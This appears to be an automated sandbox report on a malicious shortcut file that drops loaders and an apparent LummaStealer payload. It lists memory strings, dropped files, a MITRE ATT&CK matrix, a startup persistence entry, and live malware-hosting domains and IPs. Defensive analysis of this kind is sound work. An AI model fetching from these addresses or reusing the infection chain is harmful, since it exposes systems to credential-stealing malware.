Source: powershell.exe, 00000012.00000002.2304075109.00000130E1738000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Public\Guard.exe
Source: powershell.exe, 00000012.00000002.2493771492.00000130F99BC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2493519711.00000130F98A4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2493771492.00000130F99B0000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000003.2311307135.0000000000630000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000014.00000003.2307187837.0000000000630000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000014.00000003.2311555077.0000000000630000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000014.00000003.2299267768.0000000000630000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000014.00000003.2299116100.0000000000630000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000014.00000003.2315878838.0000000000630000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000014.00000003.2311423461.0000000000630000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000014.00000003.2303450017.0000000000630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Guard.exe
Source: powershell.exe, 00000012.00000002.2299983775.00000130DF737000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2C:\Users\Public\Guard.exe
Source: PefjSkkhb.exe, 0000000B.00000002.2238572807.000001A112952000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2299983775.00000130DF737000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E1558000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2493771492.00000130F9A2C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2488483129.00000130F9855000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E1738000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2493771492.00000130F99BC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2493771492.00000130F9A12000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, Guard.exe, 00000014.00000002.3290411307.0000000000B4F000.00000004.00000010.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3290411307.0000000000B5F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: C:\Users\Public\Guard.exe
Source: PefjSkkhb.exe, 0000000B.00000003.2234945531.000001A112961000.00000004.00000020.00020000.00000000.sdmp, PefjSkkhb.exe, 0000000B.00000003.2234826761.000001A112959000.00000004.00000020.00020000.00000000.sdmp, PefjSkkhb.exe, 0000000B.00000002.2238682876.000001A112962000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Public\Guard.exe
Source: powershell.exe, 00000012.00000002.2304075109.00000130E1738000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \Users\Public\Guard.exe

Source: SwiftWrite.pif	Binary or memory string: WIN_81
Source: SwiftWrite.pif	Binary or memory string: WIN_XP
Source: SwiftWrite.pif	Binary or memory string: WIN_XPe
Source: SwiftWrite.pif	Binary or memory string: WIN_VISTA
Source: PefjSkkhb.exe, 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: SwiftWrite.pif	Binary or memory string: WIN_7
Source: SwiftWrite.pif	Binary or memory string: WIN_8
Source: SwiftWrite.pif, 00000018.00000000.2421968201.0000000000346000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EE3940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	11_2_00007FF7C0EE3940
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EE4074 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	11_2_00007FF7C0EE4074
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0072696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	20_2_0072696E
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00726E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	20_2_00726E32
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_0030696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	24_2_0030696E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_00306E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	24_2_00306E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	2 Native API	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Email Collection	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	37 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	23 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	231 Masquerading	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
duyba.lnk.download.lnk	20%	Virustotal		Browse
duyba.lnk.download.lnk	16%	ReversingLabs	Shortcut.Trojan.ForExec

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Guard.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\ghep2[1]	55%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	8%	ReversingLabs
C:\Users\user\AppData\Roaming\PefjSkkhb.exe	32%	ReversingLabs	Win64.Adware.RedCap

Source	Detection	Scanner	Label
https://tiffany-careers.com/ghep2t	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2s.LMEMHX	0%	Avira URL Cloud	safe
http://tiffany-careers.com/Marketing.pdf	0%	Avira URL Cloud	safe
http://tiffany-careers.com/Marketing.pdf0	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2o	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2l	0%	Avira URL Cloud	safe
http://tiffany-careers.com/PefjSkkhb.exep	0%	Avira URL Cloud	safe
https://tiffany-careers.com/	0%	Avira URL Cloud	safe
http://crl.microsoft7	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2...	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2%	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2https://tiffany-careers.com/ghep2	0%	Avira URL Cloud	safe
http://139.99.188.124/kiiMf	0%	Avira URL Cloud	safe
http://139.99.188.124	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2Q	0%	Avira URL Cloud	safe
http://139.99.188.124/QWCheljD.txt	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2d8	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2C:	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2$global:?	0%	Avira URL Cloud	safe
http://139.99.H	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2~	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2H	0%	Avira URL Cloud	safe
http://tiffany-careers.com	0%	Avira URL Cloud	safe
https://tiffany-careers.com/ghep2omQvj	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tiffany-careers.com	147.45.49.155	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	high
nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://tiffany-careers.com/Marketing.pdf	false	Avira URL Cloud: safe	unknown
http://139.99.188.124/kiiMf	true	Avira URL Cloud: safe	unknown
https://tiffany-careers.com/ghep2	true	Avira URL Cloud: safe	unknown
http://139.99.188.124/QWCheljD.txt	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://tiffany-careers.com/ghep2s.LMEMHX	mshta.exe, 00000004.00000002.2280670724.000001D8EE70D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmp, SwiftWrite.pif, 00000018.00000000.2426079955.0000000000359000.00000002.00000001.01000000.00000010.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.2202478685.0000027015FB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E2C37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2394092266.00000130F13A6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tiffany-careers.com/ghep2t	mshta.exe, 00000004.00000002.2279706602.000001D0EC538000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000012.00000002.2304075109.00000130E2BAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000012.00000002.2304075109.00000130E2BAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tiffany-careers.com/ghep2o	mshta.exe, 00000004.00000002.2280000669.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277367980.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tiffany-careers.com/Marketing.pdf0	powershell.exe, 00000006.00000002.2166249488.000002700616A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000012.00000002.2304075109.00000130E24AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tiffany-careers.com/ghep2...	mshta.exe, 00000004.00000003.2272974753.000001D8EE7AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269552395.000001D8EE7AB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2273229589.000001D8EE7AF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2281088808.000001D8EE7AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tiffany-careers.com/PefjSkkhb.exep	powershell.exe, 00000006.00000002.2166249488.00000270063DD000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000012.00000002.2394092266.00000130F13A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tiffany-careers.com/ghep2l	mshta.exe, 00000004.00000002.2279706602.000001D0EC538000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000012.00000002.2394092266.00000130F13A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tiffany-careers.com/	mshta.exe, 00000004.00000002.2280205979.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2276856139.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269204608.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2273283593.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000005.00000002.3293299612.000001CFDD600000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000005.00000003.2082990781.000001CFDD410000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	false		high
http://crl.microsoft7	powershell.exe, 00000012.00000002.2302335696.00000130DF934000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tiffany-careers.com/ghep2%	mshta.exe, 00000004.00000002.2280075784.000001D0EC573000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277213025.000001D0EC570000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.autoitscript.com/autoit3/	Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000012.00000002.2304075109.00000130E2BAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.5.dr	false		high
https://tiffany-careers.com/ghep2https://tiffany-careers.com/ghep2	mshta.exe, 00000004.00000003.2274189869.000001D8F2935000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://139.99.188.124	powershell.exe, 00000012.00000002.2304075109.00000130E1558000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E24AC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://tiffany-careers.com/ghep2Q	mshta.exe, 00000004.00000002.2280000669.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277367980.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000012.00000002.2394092266.00000130F13A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.2202478685.0000027015FB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E2C37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2394092266.00000130F13A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tiffany-careers.com/ghep2d8	mshta.exe, 00000004.00000003.2270292666.000001D8F2785000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269906987.000001D8F2785000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tiffany-careers.com/ghep2C:	forfiles.exe, 00000000.00000002.2049373136.0000019BECEE0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280293129.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2279706602.000001D0EC530000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2273283593.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2276856139.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269204608.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tiffany-careers.com/ghep2H	mshta.exe, 00000004.00000002.2279297600.000001D0EC4C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.2166249488.0000027005F41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E1331000.00000004.00000800.00020000.00000000.sdmp	false		high
http://139.99.H	powershell.exe, 00000012.00000002.2304075109.00000130E2959000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tiffany-careers.com/ghep2$global:?	powershell.exe	false	Avira URL Cloud: safe	unknown
https://tiffany-careers.com/ghep2~	mshta.exe, 00000004.00000002.2279706602.000001D0EC538000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280000669.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277367980.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.2166249488.0000027005F41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E1331000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tiffany-careers.com	powershell.exe, 00000006.00000002.2166249488.000002700616A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	mshta.exe, 00000004.00000002.2280512235.000001D0EC614000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2270176062.000001D0EC613000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269204608.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tiffany-careers.com/ghep2omQvj	mshta.exe, 00000004.00000003.2269204608.000001D0EC5C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280174249.000001D0EC5C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oneget.org	powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
139.99.188.124	unknown	Canada		16276	OVHFR	true
147.45.49.155	tiffany-careers.com	Russian Federation		2895	FREE-NET-ASFREEnetEU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577196
Start date and time:	2024-12-18 09:12:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	duyba.lnk.download.lnk
Detection:	MAL
Classification:	mal100.expl.evad.winLNK@41/73@4/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 92 Number of non-executed functions: 275
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 92.122.16.236, 23.218.208.109, 92.122.16.141, 172.64.41.3, 162.159.61.3, 50.16.47.176, 54.224.241.105, 34.237.241.83, 18.213.11.84, 23.32.238.18, 23.32.238.74, 23.195.39.65, 104.122.212.204, 23.32.239.56, 2.19.198.27, 52.6.155.20, 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Execution Graph export aborted for target mshta.exe, PID 5060 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 4308 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7480 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:13:00	API Interceptor	2x Sleep call for process: svchost.exe modified
03:13:00	API Interceptor	1x Sleep call for process: mshta.exe modified
03:13:01	API Interceptor	115x Sleep call for process: powershell.exe modified
03:13:15	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
03:14:00	API Interceptor	1988x Sleep call for process: Guard.exe modified
03:14:16	API Interceptor	983x Sleep call for process: SwiftWrite.pif modified
09:13:24	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
139.99.188.124	FwR7as4xUq.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/EPDjSfs.txt

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	https://147.45.47.98/error.js	Get hash	malicious	Unknown	Browse	147.45.47.98
	AbC0LBkVhr.exe	Get hash	malicious	Socks5Systemz	Browse	147.45.126.31
	amd64.elf	Get hash	malicious	Unknown	Browse	193.233.202.23
	TRC.arm.elf	Get hash	malicious	Mirai	Browse	147.45.45.242
	htZgRRla8S.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.44.131
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	147.45.44.131
	Captcha.hta	Get hash	malicious	HTMLPhisher	Browse	147.45.44.131
	Captcha.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	147.45.44.131
	EBUdultKh7.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.44.131
	arm5.elf	Get hash	malicious	Unknown	Browse	193.233.202.23
OVHFR	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	54.36.60.244
	jew.sh4.elf	Get hash	malicious	Unknown	Browse	51.75.58.223
	https://cc.naver.com/cc?a=pst.link&m=1&nsc=Mblog.post&u=https://prestamosgarantizados.com/wvr/#svk8Lh6vLh6njx3lLh6vg4Pnq07qug4Plvk8Lh6rjx3z9BR15WPy	Get hash	malicious	HTMLPhisher	Browse	167.114.27.228
	c2.exe	Get hash	malicious	Xmrig	Browse	51.79.145.144
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	51.77.90.246
	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	54.36.205.38
	https://alluc.co/watch-movies/passengers.html	Get hash	malicious	Unknown	Browse	54.38.113.6
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	94.23.76.52
	https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za	Get hash	malicious	HTMLPhisher	Browse	46.105.222.162
	1.elf	Get hash	malicious	Unknown	Browse	51.77.132.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	5j0fix05fy.js	Get hash	malicious	NetSupport RAT	Browse	147.45.49.155
	Setup.msi	Get hash	malicious	Vidar	Browse	147.45.49.155
	htkeUc1zJ0.exe	Get hash	malicious	Unknown	Browse	147.45.49.155
	67618a47ee8c5.vbs	Get hash	malicious	Mint Stealer	Browse	147.45.49.155
	PKO_0019868519477_PDF_#U2462#U2465#U2461#U2465#U2467#U2464#U2464#U2466.hta	Get hash	malicious	Mint Stealer	Browse	147.45.49.155
	BBVA S.A..vbs	Get hash	malicious	Remcos	Browse	147.45.49.155
	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	147.45.49.155
	87h216Snb7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	147.45.49.155
	dP5z8RpEyQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	147.45.49.155

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Guard.exe	c2.hta	Get hash	malicious	XWorm	Browse
	c2.hta	Get hash	malicious	XWorm	Browse
	c2.hta	Get hash	malicious	XWorm	Browse
	c2.hta	Get hash	malicious	XWorm	Browse
	FwR7as4xUq.exe	Get hash	malicious	Unknown	Browse
	InsertSr.exe	Get hash	malicious	GO Backdoor	Browse
	vqMMwqCFZQ.exe	Get hash	malicious	Unknown	Browse
	fT0L8msd6q.exe	Get hash	malicious	Unknown	Browse
	fT0L8msd6q.exe	Get hash	malicious	Unknown	Browse
	qaHUaPUib8.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307030598410583
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugn:gJjJGtpTq2yv1AuNZRY3diu8iBVqFN
MD5:	00D7269F86C88D5284BAEB91E066EDBD
